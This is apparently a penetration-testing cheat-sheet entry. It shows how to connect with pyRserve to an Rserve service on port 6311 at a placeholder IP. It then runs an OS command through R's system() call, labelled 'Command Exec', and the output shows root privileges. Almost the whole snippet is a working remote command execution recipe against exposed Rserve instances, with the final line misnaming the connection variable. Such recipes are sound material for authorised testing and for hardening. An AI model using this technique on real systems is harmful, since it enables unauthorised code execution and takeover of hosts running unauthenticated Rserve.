## Install pyRserve
$:> pip install pyRserve
$:> python3
>>> conn = pyRserve.connect('<IP>', 6311)
>>> conn.eval("1+2") ## Testing the connection 
3.0
>>> conn.eval('t1 <- try(system("id", intern = TRUE))') ## Command Exec
'uid=0(root) gid=0(root) groups=0(root)'
>>> con.close()

## pyRserve Docu
## https://pythonhosted.org/pyRserve/manual.html